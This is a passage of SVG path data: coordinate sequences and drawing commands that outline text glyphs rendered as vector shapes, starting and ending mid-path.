-15.3182 81.1488 -14.9375ZM89.8047 -8.40909C89.3189 -8.40909 88.9013 -8.47159 88.5518 -8.59659C88.2024 -8.71875 87.9112 -8.88068 87.6783 -9.08239C87.4482 -9.28125 87.2649 -9.49432 87.1286 -9.72159L87.9297 -10.2841C88.0206 -10.1648 88.1357 -10.0284 88.2749 -9.875C88.4141 -9.71875 88.6044 -9.58381 88.8459 -9.47017C89.0902 -9.35369 89.4098 -9.29545 89.8047 -9.29545C90.3331 -9.29545 90.7692 -9.4233 91.1129 -9.67898C91.4567 -9.93466 91.6286 -10.3352 91.6286 -10.8807V-12.2102H91.5433C91.4695 -12.0909 91.3643 -11.9432 91.228 -11.767C91.0945 -11.5938 90.9013 -11.4389 90.6484 -11.3026C90.3984 -11.169 90.0604 -11.1023 89.6342 -11.1023C89.1058 -11.1023 88.6314 -11.2273 88.2109 -11.4773C87.7933 -11.7273 87.4624 -12.0909 87.218 -12.5682C86.9766 -13.0455 86.8558 -13.625 86.8558 -14.3068C86.8558 -14.9773 86.9737 -15.5611 87.2095 -16.0582C87.4453 -16.5582 87.7734 -16.9446 88.1939 -17.2173C88.6143 -17.4929 89.1001 -17.6307 89.6513 -17.6307C90.0774 -17.6307 90.4155 -17.5597 90.6655 -17.4176C90.9183 -17.2784 91.1115 -17.1193 91.245 -16.9403C91.3814 -16.7642 91.4865 -16.6193 91.5604 -16.5057H91.6626V-17.5455H92.6342V-10.8125C92.6342 -10.25 92.5064 -9.79261 92.2507 -9.44034C91.9979 -9.08523 91.657 -8.82528 91.228 -8.66051C90.8018 -8.4929 90.3274 -8.40909 89.8047 -8.40909ZM89.7706 -12.0057C90.174 -12.0057 90.5149 -12.098 90.7933 -12.2827C91.0717 -12.4673 91.2834 -12.733 91.4283 -13.0795C91.5732 -13.4261 91.6456 -13.8409 91.6456 -14.3239C91.6456 -14.7955 91.5746 -15.2116 91.4325 -15.5724C91.2905 -15.9332 91.0803 -16.2159 90.8018 -16.4205C90.5234 -16.625 90.1797 -16.7273 89.7706 -16.7273C89.3445 -16.7273 88.9893 -16.6193 88.7053 -16.4034C88.424 -16.1875 88.2124 -15.8977 88.0703 -15.5341C87.9311 -15.1705 87.8615 -14.767 87.8615 -14.3239C87.8615 -13.8693 87.9325 -13.4673 88.0746 -13.1179C88.2195 -12.7713 88.4325 -12.4986 88.7138 -12.2997C88.9979 -12.1037 89.3501 -12.0057 89.7706 -12.0057ZM99.7763 -10.8466C99.3615 -10.8466 98.9851 -10.9247 98.647 -11.081C98.3089 -11.2401 98.0405 -11.4688 97.8416 -11.767C97.6428 -12.0682 97.5433 -12.4318 97.5433 -12.858C97.5433 -13.233 97.6172 -13.5369 97.7649 -13.7699C97.9126 -14.0057 98.1101 -14.1903 98.3572 -14.3239C98.6044 -14.4574 98.8771 -14.5568 99.1754 -14.6222C99.4766 -14.6903 99.7791 -14.7443 100.083 -14.7841C100.481 -14.8352 100.803 -14.8736 101.05 -14.8991C101.3 -14.9276 101.482 -14.9744 101.596 -15.0398C101.712 -15.1051 101.771 -15.2188 101.771 -15.3807V-15.4148C101.771 -15.8352 101.656 -16.1619 101.425 -16.3949C101.198 -16.6278 100.853 -16.7443 100.39 -16.7443C99.9098 -16.7443 99.5334 -16.6392 99.2607 -16.429C98.9879 -16.2188 98.7962 -15.9943 98.6854 -15.7557L97.7308 -16.0966C97.9013 -16.4943 98.1286 -16.804 98.4126 -17.0256C98.6996 -17.25 99.0121 -17.4063 99.3501 -17.4943C99.6911 -17.5852 100.026 -17.6307 100.356 -17.6307C100.566 -17.6307 100.808 -17.6051 101.08 -17.554C101.356 -17.5057 101.621 -17.4048 101.877 -17.2514C102.136 -17.098 102.35 -16.8665 102.521 -16.5568C102.691 -16.2472 102.776 -15.8324 102.776 -15.3125V-11H101.771V-11.8864H101.719C101.651 -11.7443 101.538 -11.5923 101.379 -11.4304C101.219 -11.2685 101.008 -11.1307 100.744 -11.017C100.479 -10.9034 100.157 -10.8466 99.7763 -10.8466ZM99.9297 -11.75C100.327 -11.75 100.663 -11.8281 100.935 -11.9844C101.211 -12.1406 101.418 -12.3423 101.558 -12.5895C101.7 -12.8366 101.771 -13.0966 101.771 -13.3693V-14.2898C101.728 -14.2386 101.634 -14.1918 101.489 -14.1491C101.347 -14.1094 101.183 -14.0739 100.995 -14.0426C100.81 -14.0142 100.63 -13.9886 100.454 -13.9659C100.281 -13.946 100.14 -13.929 100.032 -13.9148C99.7706 -13.8807 99.5263 -13.8253 99.299 -13.7486C99.0746 -13.6747 98.8928 -13.5625 98.7536 -13.4119C98.6172 -13.2642 98.549 -13.0625 98.549 -12.8068C98.549 -12.4574 98.6783 -12.1932 98.9368 -12.0142C99.1982 -11.8381 99.5291 -11.75 99.9297 -11.75ZM105.618 -14.9375V-11H104.612V-17.5455H105.583V-16.5227H105.669C105.822 -16.8551 106.055 -17.1222 106.368 -17.3239C106.68 -17.5284 107.083 -17.6307 107.578 -17.6307C108.021 -17.6307 108.409 -17.5398 108.741 -17.358C109.074 -17.179 109.332 -16.9062 109.517 -16.5398C109.701 -16.1761 109.794 -15.7159 109.794 -15.1591V-11H108.788V-15.0909C108.788 -15.6051 108.654 -16.0057 108.387 -16.2926C108.12 -16.5824 107.754 -16.7273 107.288 -16.7273C106.967 -16.7273 106.68 -16.6577 106.427 -16.5185C106.177 -16.3793 105.98 -16.1761 105.835 -15.9091C105.69 -15.642 105.618 -15.3182 105.618 -14.9375ZM18.8466 7.15341C18.4318 7.15341 18.0554 7.07528 17.7173 6.91903C17.3793 6.75994 17.1108 6.53125 16.9119 6.23295C16.7131 5.93182 16.6136 5.56818 16.6136 5.14205C16.6136 4.76705 16.6875 4.46307 16.8352 4.23011C16.983 3.99432 17.1804 3.80966 17.4276 3.67614C17.6747 3.54261 17.9474 3.44318 18.2457 3.37784C18.5469 3.30966 18.8494 3.25568 19.1534 3.21591C19.5511 3.16477 19.8736 3.12642 20.1207 3.10085C20.3707 3.07244 20.5526 3.02557 20.6662 2.96023C20.7827 2.89489 20.8409 2.78125 20.8409 2.61932V2.58523C20.8409 2.16477 20.7259 1.83807 20.4957 1.60511C20.2685 1.37216 19.9233 1.25568 19.4602 1.25568C18.9801 1.25568 18.6037 1.3608 18.331 1.57102C18.0582 1.78125 17.8665 2.00568 17.7557 2.24432L16.8011 1.90341C16.9716 1.50568 17.1989 1.19602 17.483 0.974432C17.7699 0.75 18.0824 0.59375 18.4205 0.505682C18.7614 0.414773 19.0966 0.369318 19.4261 0.369318C19.6364 0.369318 19.8778 0.394886 20.1506 0.446022C20.4261 0.494318 20.6918 0.59517 20.9474 0.748579C21.206 0.901989 21.4205 1.13352 21.5909 1.44318C21.7614 1.75284 21.8466 2.16761 21.8466 2.6875V7H20.8409V6.11364H20.7898C20.7216 6.25568 20.608 6.40767 20.4489 6.5696C20.2898 6.73153 20.0781 6.86932 19.8139 6.98295C19.5497 7.09659 19.2273 7.15341 18.8466 7.15341ZM19 6.25C19.3977 6.25 19.733 6.17188 20.0057 6.01562C20.2813 5.85938 20.4886 5.65767 20.6278 5.41051C20.7699 5.16335 20.8409 4.90341 20.8409 4.63068V3.71023C20.7983 3.76136 20.7045 3.80824 20.5597 3.85085C20.4176 3.89062 20.2528 3.92614 20.0653 3.95739C19.8807 3.9858 19.7003 4.01136 19.5241 4.03409C19.3509 4.05398 19.2102 4.07102 19.1023 4.08523C18.8409 4.11932 18.5966 4.17472 18.3693 4.25142C18.1449 4.32528 17.9631 4.4375 17.8239 4.58807C17.6875 4.7358 17.6193 4.9375 17.6193 5.19318C17.6193 5.54261 17.7486 5.80682 18.0071 5.9858C18.2685 6.16193 18.5994 6.25 19 6.25ZM26.5969 0.454545V1.30682H23.0685V0.454545H26.5969ZM24.1254 7V-0.448864C24.1254 -0.823864 24.2134 -1.13636 24.3896 -1.38636C24.5657 -1.63636 24.7944 -1.82386 25.0756 -1.94886C25.3569 -2.07386 25.6538 -2.13636 25.9663 -2.13636C26.2134 -2.13636 26.4151 -2.11648 26.5714 -2.0767C26.7276 -2.03693 26.8441 -2 26.9208 -1.96591L26.631 -1.09659C26.5799 -1.11364 26.5089 -1.13494 26.418 -1.16051C26.3299 -1.18608 26.2134 -1.19886 26.0685 -1.19886C25.7362 -1.19886 25.4961 -1.11506 25.3484 -0.947443C25.2035 -0.77983 25.131 -0.534091 25.131 -0.210228V7H24.1254ZM30.9212 0.454545V1.30682H27.3928V0.454545H30.9212ZM28.4496 7V-0.448864C28.4496 -0.823864 28.5376 -1.13636 28.7138 -1.38636C28.8899 -1.63636 29.1186 -1.82386 29.3999 -1.94886C29.6811 -2.07386 29.978 -2.13636 30.2905 -2.13636C30.5376 -2.13636 30.7393 -2.11648 30.8956 -2.0767C31.0518 -2.03693 31.1683 -2 31.245 -1.96591L30.9553 -1.09659C30.9041 -1.11364 30.8331 -1.13494 30.7422 -1.16051C30.6541 -1.18608 30.5376 -1.19886 30.3928 -1.19886C30.0604 -1.19886 29.8203 -1.11506 29.6726 -0.947443C29.5277 -0.77983 29.4553 -0.534091 29.4553 -0.210228V7H28.4496ZM32.3306 7V0.454545H33.3363V7H32.3306ZM32.842 -0.636364C32.646 -0.636364 32.4769 -0.703125 32.3349 -0.836648C32.1957 -0.97017 32.1261 -1.13068 32.1261 -1.31818C32.1261 -1.50568 32.1957 -1.66619 32.3349 -1.79972C32.4769 -1.93324 32.646 -2 32.842 -2C33.038 -2 33.2056 -1.93324 33.3448 -1.79972C33.4869 -1.66619 33.5579 -1.50568 33.5579 -1.31818C33.5579 -1.13068 33.4869 -0.97017 33.3448 -0.836648C33.2056 -0.703125 33.038 -0.636364 32.842 -0.636364ZM36.1839 -1.72727V7H35.1783V-1.72727H36.1839ZM38.0259 7V0.454545H39.0316V7H38.0259ZM38.5373 -0.636364C38.3413 -0.636364 38.1722 -0.703125 38.0302 -0.836648C37.891 -0.97017 37.8214 -1.13068 37.8214 -1.31818C37.8214 -1.50568 37.891 -1.66619 38.0302 -1.79972C38.1722 -1.93324 38.3413 -2 38.5373 -2C38.7333 -2 38.9009 -1.93324 39.0401 -1.79972C39.1822 -1.66619 39.2532 -1.50568 39.2532 -1.31818C39.2532 -1.13068 39.1822 -0.97017 39.0401 -0.836648C38.9009 -0.703125 38.7333 -0.636364 38.5373 -0.636364ZM42.7997 7.15341C42.3849 7.15341 42.0085 7.07528 41.6705 6.91903C41.3324 6.75994 41.0639 6.53125 40.8651 6.23295C40.6662 5.93182 40.5668 5.56818 40.5668 5.14205C40.5668 4.76705 40.6406 4.46307 40.7884 4.23011C40.9361 3.99432 41.1335 3.80966 41.3807 3.67614C41.6278 3.54261 41.9006 3.44318 42.1989 3.37784C42.5 3.30966 42.8026 3.25568 43.1065 3.21591C43.5043 3.16477 43.8267 3.12642 44.0739 3.10085C44.3239 3.07244 44.5057 3.02557 44.6193 2.96023C44.7358 2.89489 44.794 2.78125 44.794 2.61932V2.58523C44.794 2.16477 44.679 1.83807 44.4489 1.60511C44.2216 1.37216 43.8764 1.25568 43.4134 1.25568C42.9332 1.25568 42.5568 1.3608 42.2841 1.57102C42.0114 1.78125 41.8196 2.00568 41.7088 2.24432L40.7543 1.90341C40.9247 1.50568 41.152 1.19602 41.4361 0.974432C41.723 0.75 42.0355 0.59375 42.3736 0.505682C42.7145 0.414773 43.0497 0.369318 43.3793 0.369318C43.5895 0.369318 43.831 0.394886 44.1037 0.446022C44.3793 0.494318 44.6449 0.59517 44.9006 0.748579C45.1591 0.901989 45.3736 1.13352 45.544 1.44318C45.7145 1.75284 45.7997 2.16761 45.7997 2.6875V7H44.794V6.11364H44.7429C44.6747 6.25568 44.5611 6.40767 44.402 6.5696C44.2429 6.73153 44.0313 6.86932 43.767 6.98295C43.5028 7.09659 43.1804 7.15341 42.7997 7.15341ZM42.9531 6.25C43.3509 6.25 43.6861 6.17188 43.9588 6.01562C44.2344 5.85938 44.4418 5.65767 44.581 5.41051C44.723 5.16335 44.794 4.90341 44.794 4.63068V3.71023C44.7514 3.76136 44.6577 3.80824 44.5128 3.85085C44.3707 3.89062 44.206 3.92614 44.0185 3.95739C43.8338 3.9858 43.6534 4.01136 43.4773 4.03409C43.304 4.05398 43.1634 4.07102 43.0554 4.08523C42.794 4.11932 42.5497 4.17472 42.3224 4.25142C42.098 4.32528 41.9162 4.4375 41.777 4.58807C41.6406 4.7358 41.5724 4.9375 41.5724 5.19318C41.5724 5.54261 41.7017 5.80682 41.9602 5.9858C42.2216 6.16193 42.5526 6.25 42.9531 6.25ZM50.4819 0.454545V1.30682H47.0898V0.454545H50.4819ZM48.0785 -1.11364H49.0842V5.125C49.0842 5.40909 49.1254 5.62216 49.2077 5.7642C49.293 5.90341 49.4009 5.99716 49.5316 6.04545C49.6651 6.09091 49.8058 6.11364 49.9535 6.11364C50.0643 6.11364 50.1552 6.10795 50.2262 6.09659C50.2972 6.08239 50.354 6.07102 50.3967 6.0625L50.6012 6.96591C50.533 6.99148 50.4379 7.01705 50.3157 7.04261C50.1935 7.07102 50.0387 7.08523 49.8512 7.08523C49.5671 7.08523 49.2887 7.02415 49.016 6.90199C48.7461 6.77983 48.5217 6.59375 48.3427 6.34375C48.1665 6.09375 48.0785 5.77841 48.0785 5.39773V-1.11364ZM54.6687 7.13636C54.038 7.13636 53.494 6.99716 53.0366 6.71875C52.582 6.4375 52.2312 6.04545 51.984 5.54261C51.7397 5.03693 51.6175 4.44886 51.6175 3.77841C51.6175 3.10795 51.7397 2.51705 51.984 2.00568C52.2312 1.49148 52.5749 1.09091 53.0153 0.803977C53.4585 0.514205 53.9755 0.369318 54.5664 0.369318C54.9073 0.369318 55.244 0.426136 55.5763 0.539772C55.9087 0.653409 56.2113 0.838068 56.484 1.09375C56.7567 1.34659 56.9741 1.68182 57.136 2.09943C57.2979 2.51705 57.3789 3.03125 57.3789 3.64205V4.06818H52.3335V3.19886H56.3562C56.3562 2.82955 56.2823 2.5 56.1346 2.21023C55.9897 1.92045 55.7823 1.69176 55.5124 1.52415C55.2454 1.35653 54.93 1.27273 54.5664 1.27273C54.1658 1.27273 53.8192 1.37216 53.5266 1.57102C53.2369 1.76705 53.0138 2.02273 52.8576 2.33807C52.7013 2.65341 52.6232 2.99148 52.6232 3.35227V3.93182C52.6232 4.42614 52.7085 4.84517 52.8789 5.18892C53.0522 5.52983 53.2923 5.78977 53.5991 5.96875C53.9059 6.14489 54.2624 6.23295 54.6687 6.23295C54.9329 6.23295 55.1715 6.19602 55.3846 6.12216C55.6005 6.04545 55.7866 5.93182 55.9428 5.78125C56.0991 5.62784 56.2198 5.4375 56.305 5.21023L57.2766 5.48295C57.1744 5.8125 57.0025 6.10227 56.761 6.35227C56.5195 6.59943 56.2212 6.79261 55.8661 6.93182C55.511 7.06818 55.1119 7.13636 54.6687 7.13636ZM62.2837 7V0.454545H63.2894V7H62.2837ZM62.7951 -0.636364C62.5991 -0.636364 62.43 -0.703125 62.288 -0.836648C62.1488 -0.97017 62.0792 -1.13068 62.0792 -1.31818C62.0792 -1.50568 62.1488 -1.66619 62.288 -1.79972C62.43 -1.93324 62.5991 -2 62.7951 -2C62.9911 -2 63.1587 -1.93324 63.2979 -1.79972C63.44 -1.66619 63.511 -1.50568 63.511 -1.31818C63.511 -1.13068 63.44 -0.97017 63.2979 -0.836648C63.1587 -0.703125 62.9911 -0.636364 62.7951 -0.636364ZM69.7678 1.92045L68.8643 2.17614C68.8075 2.02557 68.7237 1.87926 68.6129 1.73722C68.505 1.59233 68.3572 1.47301 68.1697 1.37926C67.9822 1.28551 67.7422 1.23864 67.4496 1.23864C67.049 1.23864 66.7152 1.33097 66.4482 1.51562C66.1839 1.69744 66.0518 1.92898 66.0518 2.21023C66.0518 2.46023 66.1428 2.65767 66.3246 2.80256C66.5064 2.94744 66.7905 3.06818 67.1768 3.16477L68.1484 3.40341C68.7337 3.54545 69.1697 3.76278 69.4567 4.0554C69.7436 4.34517 69.8871 4.71875 69.8871 5.17614C69.8871 5.55114 69.7791 5.88636 69.5632 6.18182C69.3501 6.47727 69.0518 6.71023 68.6683 6.88068C68.2848 7.05114 67.8388 7.13636 67.3303 7.13636C66.6626 7.13636 66.1101 6.99148 65.6726 6.7017C65.2351 6.41193 64.9581 5.98864 64.8416 5.43182L65.7962 5.19318C65.8871 5.54545 66.0589 5.80966 66.3118 5.9858C66.5675 6.16193 66.9013 6.25 67.3132 6.25C67.782 6.25 68.1541 6.15057 68.4297 5.9517C68.7081 5.75 68.8473 5.50852 68.8473 5.22727C68.8473 5 68.7678 4.80966 68.6087 4.65625C68.4496 4.5 68.2053 4.38352 67.8757 4.30682L66.7848 4.05114C66.1854 3.90909 65.745 3.68892 65.4638 3.39062C65.1854 3.08949 65.0462 2.71307 65.0462 2.26136C65.0462 1.89205 65.1499 1.56534 65.3572 1.28125C65.5675 0.997159 65.853 0.774148 66.2138 0.612216C66.5774 0.450284 66.9893 0.369318 67.4496 0.369318C68.0973 0.369318 68.6058 0.511364 68.9751 0.795454C69.3473 1.07955 69.6115 1.45455 69.7678 1.92045ZM76.7021 7.15341C76.2873 7.15341 75.9109 7.07528 75.5728 6.91903C75.2347 6.75994 74.9663 6.53125 74.7674 6.23295C74.5685 5.93182 74.4691 5.56818 74.4691 5.14205C74.4691 4.76705 74.543 4.46307 74.6907 4.23011C74.8384 3.99432 75.0359 3.80966 75.283 3.67614C75.5302 3.54261 75.8029 3.44318 76.1012 3.37784C76.4023 3.30966 76.7049 3.25568 77.0089 3.21591C77.4066 3.16477 77.729 3.12642 77.9762 3.10085C78.2262 3.07244 78.408 3.02557 78.5217 2.96023C78.6381 2.89489 78.6964 2.78125 78.6964 2.61932V2.58523C78.6964 2.16477 78.5813 1.83807 78.3512 1.60511C78.1239 1.37216 77.7788 1.25568 77.3157 1.25568C76.8356 1.25568 76.4592 1.3608 76.1864 1.57102C75.9137 1.78125 75.7219 2.00568 75.6112 2.24432L74.6566 1.90341C74.8271 1.50568 75.0543 1.19602 75.3384 0.974432C75.6254 0.75 75.9379 0.59375 76.2759 0.505682C76.6168 0.414773 76.9521 0.369318 77.2816 0.369318C77.4918 0.369318 77.7333 0.394886 78.006 0.446022C78.2816 0.494318 78.5472 0.59517 78.8029 0.748579C79.0614 0.901989 79.2759 1.13352 79.4464 1.44318C79.6168 1.75284 79.7021 2.16761 79.7021 2.6875V7H78.6964V6.11364H78.6452C78.5771 6.25568 78.4634 6.40767 78.3043 6.5696C78.1452 6.73153 77.9336 6.86932 77.6694 6.98295C77.4052 7.09659 77.0827 7.15341 76.7021 7.15341ZM76.8555 6.25C77.2532 6.25 77.5884 6.17188 77.8612 6.01562C78.1367 5.85938 78.3441 5.65767 78.4833 5.41051C78.6254 5.16335 78.6964 4.90341 78.6964 4.63068V3.71023C78.6538 3.76136 78.56 3.80824 78.4151 3.85085C78.2731 3.89062 78.1083 3.92614 77.9208 3.95739C77.7362 3.9858 77.5558 4.01136 77.3796 4.03409C77.2063 4.05398 77.0657 4.07102 76.9577 4.08523C76.6964 4.11932 76.4521 4.17472 76.2248 4.25142C76.0004 4.32528 75.8185 4.4375 75.6793 4.58807C75.543 4.7358 75.4748 4.9375 75.4748 5.19318C75.4748 5.54261 75.604 5.80682 75.8626 5.9858C76.1239 6.16193 76.4549 6.25 76.8555 6.25ZM81.674 7V-1.72727H82.6797V1.49432H82.7649C82.8388 1.38068 82.9411 1.2358 83.0717 1.05966C83.2053 0.880682 83.3956 0.721591 83.6428 0.582386C83.8928 0.440341 84.2308 0.369318 84.657 0.369318C85.2081 0.369318 85.6939 0.507102 86.1143 0.78267C86.5348 1.05824 86.8629 1.44886 87.0987 1.95455C87.3345 2.46023 87.4524 3.05682 87.4524 3.74432C87.4524 4.4375 87.3345 5.03835 87.0987 5.54688C86.8629 6.05256 86.5362 6.4446 86.1186 6.72301C85.701 6.99858 85.2195 7.13636 84.674 7.13636C84.2536 7.13636 83.9169 7.06676 83.6641 6.92756C83.4112 6.78551 83.2166 6.625 83.0803 6.44602C82.9439 6.2642 82.8388 6.11364 82.7649 5.99432H82.6456V7H81.674ZM82.6626 3.72727C82.6626 4.22159 82.7351 4.65767 82.88 5.03551C83.0249 5.41051 83.2365 5.70455 83.5149 5.91761C83.7933 6.12784 84.1342 6.23295 84.5376 6.23295C84.9581 6.23295 85.3089 6.12216 85.5902 5.90057C85.8743 5.67614 86.0874 5.375 86.2294 4.99716C86.3743 4.61648 86.4467 4.19318 86.4467 3.72727C86.4467 3.26705 86.3757 2.85227 86.2337 2.48295C86.0945 2.1108 85.8828 1.81676 85.5987 1.60085C85.3175 1.3821 84.9638 1.27273 84.5376 1.27273C84.1286 1.27273 83.7848 1.37642 83.5064 1.58381C83.228 1.78835 83.0178 2.07528 82.8757 2.4446C82.7337 2.81108 82.6626 3.23864 82.6626 3.72727ZM91.6499 7.13636C91.0589 7.13636 90.5405 6.99574 90.0945 6.71449C89.6513 6.43324 89.3047 6.03977 89.0547 5.53409C88.8075 5.02841 88.6839 4.4375 88.6839 3.76136C88.6839 3.07955 88.8075 2.48437 89.0547 1.97585C89.3047 1.46733 89.6513 1.07244 90.0945 0.791193C90.5405 0.509943 91.0589 0.369318 91.6499 0.369318C92.2408 0.369318 92.7578 0.509943 93.201 0.791193C93.647 1.07244 93.9936 1.46733 94.2408 1.97585C94.4908 2.48437 94.6158 3.07955 94.6158 3.76136C94.6158 4.4375 94.4908 5.02841 94.2408 5.53409C93.9936 6.03977 93.647 6.43324 93.201 6.71449C92.7578 6.99574 92.2408 7.13636 91.6499 7.13636ZM91.6499 6.23295C92.0987 6.23295 92.468 6.1179 92.7578 5.88778C93.0476 5.65767 93.2621 5.35511 93.4013 4.98011C93.5405 4.60511 93.6101 4.19886 93.6101 3.76136C93.6101 3.32386 93.5405 2.91619 93.4013 2.53835C93.2621 2.16051 93.0476 1.85511 92.7578 1.62216C92.468 1.3892 92.0987 1.27273 91.6499 1.27273C91.201 1.27273 90.8317 1.3892 90.5419 1.62216C90.2521 1.85511 90.0376 2.16051 89.8984 2.53835C89.7592 2.91619 89.6896 3.32386 89.6896 3.76136C89.6896 4.19886 89.7592 4.60511 89.8984 4.98011C90.0376 5.35511 90.2521 5.65767 90.5419 5.88778C90.8317 6.1179 91.201 6.23295 91.6499 6.23295ZM100.276 4.32386V0.454545H101.282V7H100.276V5.89205H100.208C100.054 6.22443 99.8157 6.5071 99.4918 6.74006C99.168 6.97017 98.7589 7.08523 98.2646 7.08523C97.8555 7.08523 97.4918 6.99574 97.1737 6.81676C96.8555 6.63494 96.6055 6.36222 96.4237 5.99858C96.2418 5.6321 96.1509 5.17045 96.1509 4.61364V0.454545H97.1566V4.54545C97.1566 5.02273 97.2901 5.40341 97.5572 5.6875C97.8271 5.97159 98.1708 6.11364 98.5884 6.11364C98.8384 6.11364 99.0927 6.04972 99.3512 5.92188C99.6126 5.79403 99.8313 5.59801 100.007 5.33381C100.186 5.0696 100.276 4.73295 100.276 4.32386ZM105.97 0.454545V1.30682H102.578V0.454545H105.97ZM103.567 -1.11364H104.572V5.125C104.572 5.40909 104.614 5.62216 104.696 5.7642C104.781 5.90341 104.889 5.99716 105.02 6.04545C105.153 6.09091 105.294 6.11364 105.442 6.11364C105.553 6.11364 105.643 6.10795 105.714 6.09659C105.786 6.08239 105.842 6.07102 105.885 6.0625L106.089 6.96591C106.021 6.99148 105.926 7.01705 105.804 7.04261C105.682 7.07102 105.527 7.08523 105.339 7.08523C105.055 7.08523 104.777 7.02415 104.504 6.90199C104.234 6.77983 104.01 6.59375 103.831 6.34375C103.655 6.09375 103.567 5.77841 103.567 5.39773V-1.11364ZM16.9205 25V18.4545H17.9261V25H16.9205ZM17.4318 17.3636C17.2358 17.3636 17.0668 17.2969 16.9247 17.1634C16.7855 17.0298 16.7159 16.8693 16.7159 16.6818C16.7159 16.4943 16.7855 16.3338 16.9247 16.2003C17.0668 16.0668 17.2358 16 17.4318 16C17.6278 16 17.7955 16.0668 17.9347 16.2003C18.0767 16.3338 18.1477 16.4943 18.1477 16.6818C18.1477 16.8693 18.0767 17.0298 17.9347 17.1634C17.7955 17.2969 17.6278 17.3636 17.4318 17.3636ZM20.7738 21.0625V25H19.7681V18.4545H20.7397V19.4773H20.8249C20.9783 19.1449 21.2113 18.8778 21.5238 18.6761C21.8363 18.4716 22.2397 18.3693 22.734 18.3693C23.1772 18.3693 23.565 18.4602 23.8974 18.642C24.2298 18.821 24.4883 19.0938 24.6729 19.4602C24.8576 19.8239 24.9499 20.2841 24.9499 20.8409V25H23.9442V20.9091C23.9442 20.3949 23.8107 19.9943 23.5437 19.7074C23.2766 19.4176 22.9102 19.2727 22.4442 19.2727C22.1232 19.2727 21.8363 19.3423 21.5835 19.4815C21.3335 19.6207 21.136 19.8239 20.9911 20.0909C20.8462 20.358 20.7738 20.6818 20.7738 21.0625ZM29.2592 25.1364C28.7138 25.1364 28.2322 24.9986 27.8146 24.723C27.397 24.4446 27.0703 24.0526 26.8345 23.5469C26.5987 23.0384 26.4808 22.4375 26.4808 21.7443C26.4808 21.0568 26.5987 20.4602 26.8345 19.9545C27.0703 19.4489 27.3984 19.0582 27.8189 18.7827C28.2393 18.5071 28.7251 18.3693 29.2763 18.3693C29.7024 18.3693 30.0391 18.4403 30.2862 18.5824C30.5362 18.7216 30.7266 18.8807 30.8572 19.0597C30.9908 19.2358 31.0945 19.3807 31.1683 19.4943H31.2536V16.2727H32.2592V25H31.2876V23.9943H31.1683C31.0945 24.1136 30.9893 24.2642 30.853 24.446C30.7166 24.625 30.522 24.7855 30.2692 24.9276C30.0163 25.0668 29.6797 25.1364 29.2592 25.1364ZM29.3956 24.233C29.799 24.233 30.1399 24.1278 30.4183 23.9176C30.6967 23.7045 30.9084 23.4105 31.0533 23.0355C31.1982 22.6577 31.2706 22.2216 31.2706 21.7273C31.2706 21.2386 31.1996 20.8111 31.0575 20.4446C30.9155 20.0753 30.7053 19.7884 30.4268 19.5838C30.1484 19.3764 29.8047 19.2727 29.3956 19.2727C28.9695 19.2727 28.6143 19.3821 28.3303 19.6009C28.049 19.8168 27.8374 20.1108 27.6953 20.483C27.5561 20.8523 27.4865 21.267 27.4865 21.7273C27.4865 22.1932 27.5575 22.6165 27.6996 22.9972C27.8445 23.375 28.0575 23.6761 28.3388 23.9006C28.6229 24.1222 28.9751 24.233 29.3956 24.233ZM36.9851 25.1364C36.3544 25.1364 35.8104 24.9972 35.353 24.7188C34.8984 24.4375 34.5476 24.0455 34.3004 23.5426C34.0561 23.0369 33.9339 22.4489 33.9339 21.7784C33.9339 21.108 34.0561 20.517 34.3004 20.0057C34.5476 19.4915 34.8913 19.0909 35.3317 18.804C35.7749 18.5142 36.2919 18.3693 36.8828 18.3693C37.2237 18.3693 37.5604 18.4261 37.8928 18.5398C38.2251 18.6534 38.5277 18.8381 38.8004 19.0938C39.0732 19.3466 39.2905 19.6818 39.4524 20.0994C39.6143 20.517 39.6953 21.0312 39.6953 21.642V22.0682H34.6499V21.1989H38.6726C38.6726 20.8295 38.5987 20.5 38.451 20.2102C38.3061 19.9205 38.0987 19.6918 37.8288 19.5241C37.5618 19.3565 37.2464 19.2727 36.8828 19.2727C36.4822 19.2727 36.1357 19.3722 35.843 19.571C35.5533 19.767 35.3303 20.0227 35.174 20.3381C35.0178 20.6534 34.9396 20.9915 34.9396 21.3523V21.9318C34.9396 22.4261 35.0249 22.8452 35.1953 23.1889C35.3686 23.5298 35.6087 23.7898 35.9155 23.9688C36.2223 24.1449 36.5788 24.233 36.9851 24.233C37.2493 24.233 37.4879 24.196 37.701 24.1222C37.9169 24.0455 38.103 23.9318 38.2592 23.7812C38.4155 23.6278 38.5362 23.4375 38.6214 23.2102L39.593 23.483C39.4908 23.8125 39.3189 24.1023 39.0774 24.3523C38.8359 24.5994 38.5376 24.7926 38.1825 24.9318C37.8274 25.0682 37.4283 25.1364 36.9851 25.1364ZM41.2251 27.4545V18.4545H42.1967V19.4943H42.3161C42.3899 19.3807 42.4922 19.2358 42.6229 19.0597C42.7564 18.8807 42.9467 18.7216 43.1939 18.5824C43.4439 18.4403 43.782 18.3693 44.2081 18.3693C44.7592 18.3693 45.245 18.5071 45.6655 18.7827C46.0859 19.0582 46.4141 19.4489 46.6499 19.9545C46.8857 20.4602 47.0036 21.0568 47.0036 21.7443C47.0036 22.4375 46.8857 23.0384 46.6499 23.5469C46.4141 24.0526 46.0874 24.4446 45.6697 24.723C45.2521 24.9986 44.7706 25.1364 44.2251 25.1364C43.8047 25.1364 43.468 25.0668 43.2152 24.9276C42.9624 24.7855 42.7678 24.625 42.6314 24.446C42.495 24.2642 42.3899 24.1136 42.3161 23.9943H42.2308V27.4545H41.2251ZM42.2138 21.7273C42.2138 22.2216 42.2862 22.6577 42.4311 23.0355C42.576 23.4105 42.7876 23.7045 43.0661 23.9176C43.3445 24.1278 43.6854 24.233 44.0888 24.233C44.5092 24.233 44.8601 24.1222 45.1413 23.9006C45.4254 23.6761 45.6385 23.375 45.7805 22.9972C45.9254 22.6165 45.9979 22.1932 45.9979 21.7273C45.9979 21.267 45.9268 20.8523 45.7848 20.483C45.6456 20.1108 45.4339 19.8168 45.1499 19.6009C44.8686 19.3821 44.5149 19.2727 44.0888 19.2727C43.6797 19.2727 43.3359 19.3764 43.0575 19.5838C42.7791 19.7884 42.5689 20.0753 42.4268 20.4446C42.2848 20.8111 42.2138 21.2386 42.2138 21.7273ZM51.282 25.1364C50.6513 25.1364 50.1072 24.9972 49.6499 24.7188C49.1953 24.4375 48.8445 24.0455 48.5973 23.5426C48.353 23.0369 48.2308 22.4489 48.2308 21.7784C48.2308 21.108 48.353 20.517 48.5973 20.0057C48.8445 19.4915 49.1882 19.0909 49.6286 18.804C50.0717 18.5142 50.5888 18.3693 51.1797 